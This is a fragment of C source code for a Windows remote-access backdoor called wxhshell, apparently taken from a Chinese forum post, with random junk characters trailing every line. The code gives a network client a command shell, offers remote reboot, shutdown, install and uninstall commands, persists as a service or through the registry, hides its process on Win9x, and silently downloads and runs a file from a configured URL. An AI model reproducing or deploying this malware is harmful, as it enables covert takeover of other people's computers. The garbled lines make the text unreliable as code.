  // 帮助 _<$>*i R  
  case '?': { krq/7|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d"G+8}.4  
    break; ( nW67YTr  
  } PCd0 ?c   
  // 安装 KucV3-I  
  case 'i': { VHOfaCE  
    if(Install()) xRu Fuf8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C ]Si|D  
    else 6m.k;'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~,D@8tv  
    break; p3ISWJa!  
    } `"iY*  
  // 卸载 o01kYBD  
  case 'r': { >$gG/WD?KR  
    if(Uninstall()) c4e_6=Iv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -K(fh#<6KO  
    else K|C^l;M6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $@\mpwANl  
    break; yix'rA-T  
    } : "6q,W  
  // 显示 wxhshell 所在路径 |W$DVRA  
  case 'p': { l5Y/Ok0,  
    char svExeFile[MAX_PATH]; nfb]VN~(  
    strcpy(svExeFile,"\n\r"); It_M@  
      strcat(svExeFile,ExeFile); @=w<B4 L  
        send(wsh,svExeFile,strlen(svExeFile),0); : FAH\  
    break; Bhqft;Nuh  
    } UH@a s  
  // 重启 2:}fe}  
  case 'b': { QQk{\ PV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U(&oj e  
    if(Boot(REBOOT)) ;E~4)^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K\[!SXg@  
    else { y AF+bCXo  
    closesocket(wsh); ~/_9P Fk  
    ExitThread(0); =1h9rlFj"D  
    }  g]*  
    break; /Y[~-Y+!,  
    } ^n#1<K[E  
  // 关机 ]!:oYAm  
  case 'd': { s/"&9F3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Zn:R PMk*  
    if(Boot(SHUTDOWN)) y`e4;*1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xqp|VbDca  
    else { 8T;IZ(s  
    closesocket(wsh); 6Dws,_UAZ4  
    ExitThread(0); 0YH+B   
    } {"*VU3%q  
    break; "`}~~.q  
    } ZA~Z1Mro#"  
  // 获取shell v,NHQyk  
  case 's': { 7Y=cn_ wU  
    CmdShell(wsh); d {lP  
    closesocket(wsh); ?:^mBb) T  
    ExitThread(0); "%WgT2)m.  
    break; 0)YbI!  
  } Nd:R" p*8  
  // 退出 \u`)kJ5o1  
  case 'x': { |1Dc!V'?"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +i `*lBup$  
    CloseIt(wsh); (VvKGh  
    break; '"pd  
    } 3[p_!eoW  
  // 离开 RhF>T&Q  
  case 'q': { -O:_!\uA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hlvt$Jwq  
    closesocket(wsh); >,C4rC+:XN  
    WSACleanup(); MB);!qy  
    exit(1); tc_f;S`k  
    break; wYeB)1.  
        } h*0S$p<[1  
  } {s,+^7  
  } >Sk[vI0Y  
I^*'.z!4Q  
  // 提示信息 s*M@%_A?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ \.;b9  
} "SWMk!  
  } -9P2`XQ^  
,Y_{L|:w  
  return; sfp,Lq`  
} 9z m|Lbj  
m(D]qYwh  
// shell模块句柄 X{Yw+F,j  
int CmdShell(SOCKET sock) Ue5O9;y]u  
{ U IJx*  
STARTUPINFO si; %/"Oxi^G  
ZeroMemory(&si,sizeof(si)); kg5ev8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Eu@5L9A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J}spiVM  
PROCESS_INFORMATION ProcessInfo; <Pqv;WI|R  
char cmdline[]="cmd"; @54*.q$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CDMfa&;T  
  return 0; tury<*  
} 3 K/Df#  
ske@uzAz  
// 自身启动模式 # jYpVc{]  
int StartFromService(void) oR+-+-? ?$  
{  }`/gX=91  
typedef struct A)n W  
{ R U"/2i  
  DWORD ExitStatus; V|Tud  
  DWORD PebBaseAddress; ]*"s\ix  
  DWORD AffinityMask; XY7Qa!>7j  
  DWORD BasePriority; Ar9nBJ`  
  ULONG UniqueProcessId; /k\01hc`  
  ULONG InheritedFromUniqueProcessId; *xRc * :0  
}   PROCESS_BASIC_INFORMATION; T*2C_oW  
2H#N{>7  
PROCNTQSIP NtQueryInformationProcess; H(+<)qH  
l'4AF| p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D  _X8-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &!.HuRiuC  
iMP  
  HANDLE             hProcess; n/e BE q  
  PROCESS_BASIC_INFORMATION pbi; ?4t-caK^u  
1V&PtI3 !!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z%o7f6P0IX  
  if(NULL == hInst ) return 0; PY\PUMF>  
BWPP5X9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gu(lI ~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O0l^*nZ46t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e&Y0}oY  
'E;W  
  if (!NtQueryInformationProcess) return 0; j28_Hh T  
N?r>%4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q?{}3 dPC  
  if(!hProcess) return 0; 6o3T;h  
q1Qje%9@t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S*W;%J5  
V}8$p8#<@  
  CloseHandle(hProcess); #m. AN  
JV"NZvjN7d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IFNWS,:  
if(hProcess==NULL) return 0; }F1s tDx  
PB'0?b}fab  
HMODULE hMod;  I?Y d   
char procName[255]; J}g~uW  
unsigned long cbNeeded; y%BX]~  
O;XG^s@5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w*LbH]l<-  
Evu=M-?  
  CloseHandle(hProcess); <zB*'m  
K!{5 [G  
if(strstr(procName,"services")) return 1; // 以服务启动 WnxEu3U  
`"y`AY/N  
  return 0; // 注册表启动 w8M2N]&:  
} SBKeb|H8  
y>o>WN<q  
// 主模块 $%qg"  
int StartWxhshell(LPSTR lpCmdLine) E{^^^"z P  
{ :xeLt;  
  SOCKET wsl; *_hLD5K!  
BOOL val=TRUE; L ^Y3=1#"g  
  int port=0; DQ6jT@ZDH  
  struct sockaddr_in door; a0_(eO-S  
)*1.eObhL  
  if(wscfg.ws_autoins) Install(); )qM|3],  
[, f)9v)  
port=atoi(lpCmdLine); |"k&fkS$  
`7Ug/R<  
if(port<=0) port=wscfg.ws_port; 1$LIpx  
L@)&vn]  
  WSADATA data; q^Tis>*u6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -WR}m6yMr  
NrJzVGeS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QXQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Bku' H  
  door.sin_family = AF_INET; hw,^G5m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >]$aoA#  
  door.sin_port = htons(port); (Pi-uL<[a  
*3Nn +T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E&2tBrAq  
closesocket(wsl); 3 ]}'TA`v  
return 1; (aKZ5>>cN  
} }5gr5g\OtP  
_vrWj<wyf  
  if(listen(wsl,2) == INVALID_SOCKET) { w=J4zkWk  
closesocket(wsl); i^|@"+  
return 1; 4,}GyVJFb`  
} jMU9{Si  
  Wxhshell(wsl); }B)jq`a?|\  
  WSACleanup(); it}-^3A M  
d'zT:g  
return 0; H?:Jq\Ba0  
 4#rAm"H  
} 7kz-V.  
960qvz!  
// 以NT服务方式启动 HHS45kg[c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K5flit4-  
{ 1j3=o }m  
DWORD   status = 0; +WF.wP?y  
  DWORD   specificError = 0xfffffff; 31XU7A  
olty4kGD$V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RO oE%%8I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0n5UKtB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @>O&Cpt  
  serviceStatus.dwWin32ExitCode     = 0; v]bAWo  
  serviceStatus.dwServiceSpecificExitCode = 0; f=ib9WbR#  
  serviceStatus.dwCheckPoint       = 0; -9G]x{>  
  serviceStatus.dwWaitHint       = 0; &5q{viI  
p.Y$A if.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YvTA+yL  
  if (hServiceStatusHandle==0) return; -CU,z|g+  
lgT?{,>RkW  
status = GetLastError(); u%opY<h  
  if (status!=NO_ERROR) <o@)SD~K  
{ 2V$9ei6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F0;1zw  
    serviceStatus.dwCheckPoint       = 0; &%e"9v2`  
    serviceStatus.dwWaitHint       = 0; )BLmoJOf  
    serviceStatus.dwWin32ExitCode     = status;  U42\.V0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1g i}H)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q<XcOc5  
    return; 7Po/_%  
  } s/ S+ ec3  
L?f qcW{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1URsHV!xcM  
  serviceStatus.dwCheckPoint       = 0; bOXh|u_3i  
  serviceStatus.dwWaitHint       = 0; 6Bdyf(t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :&$Xe1)i]  
} "jGe^+9uT  
? ).(fP  
// 处理NT服务事件,比如:启动、停止 MZ^Ch   
VOID WINAPI NTServiceHandler(DWORD fdwControl) E& ]_U$  
{ >sV Bj(f  
switch(fdwControl) ngqUH  
{ liG~y|  
case SERVICE_CONTROL_STOP: LW?2}`+  
  serviceStatus.dwWin32ExitCode = 0; /nM*ljfB\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4~WlP,,M  
  serviceStatus.dwCheckPoint   = 0; rqC1  
  serviceStatus.dwWaitHint     = 0; lt%-m@#/  
  { we a\8[U3"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +~:0Dxv W  
  } N7B}O*;  
  return; }rxFS <j  
case SERVICE_CONTROL_PAUSE: M=Is9)y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ddMM74  
  break; D[W}[r  
case SERVICE_CONTROL_CONTINUE: 2$Y3[$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h>Rpb#]  
  break; )fR1n}#  
case SERVICE_CONTROL_INTERROGATE: UJs?9]x>  
  break; j)@oRWL<  
}; 0C7"3l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EQ~I'#m7  
} 8)`5P\  
#ZwY?T x  
// 标准应用程序主函数 (QhAGk&lu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "j;!_v>=f`  
{ 73#9NZ R  
Oi#k:vq4  
// 获取操作系统版本 sp,(&Y]US  
OsIsNt=GetOsVer(); | &\^n2`>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -CZ-l;5  
lMPbLF%_  
  // 从命令行安装 rN'k4V"K  
  if(strpbrk(lpCmdLine,"iI")) Install(); u"joCZ7`kG  
h!;MBn`8  
  // 下载执行文件 ceI [hM  
if(wscfg.ws_downexe) { 0Cv4/Ar(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dW6Q)Rfi  
  WinExec(wscfg.ws_filenam,SW_HIDE); "p2u+ 8?  
} KK MWD\  
n]Ebwznt-  
if(!OsIsNt) { -*5yY#fw}  
// 如果时win9x,隐藏进程并且设置为注册表启动 C890+(D~  
HideProc(); th;]Vo  
StartWxhshell(lpCmdLine); F6h/0i  
} $o: :PDQ?  
else w7[0  
  if(StartFromService()) zkvH=wL  
  // 以服务方式启动 gGD]t;<u  
  StartServiceCtrlDispatcher(DispatchTable); [/n' @cjNZ  
else _c,&\ wl$  
  // 普通方式启动 uof0Oc.  
  StartWxhshell(lpCmdLine); UvoG<;  
0$(jBnE  
return 0; QTJrJD  
}
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只看该作者 1 发表于: 2006-10-10
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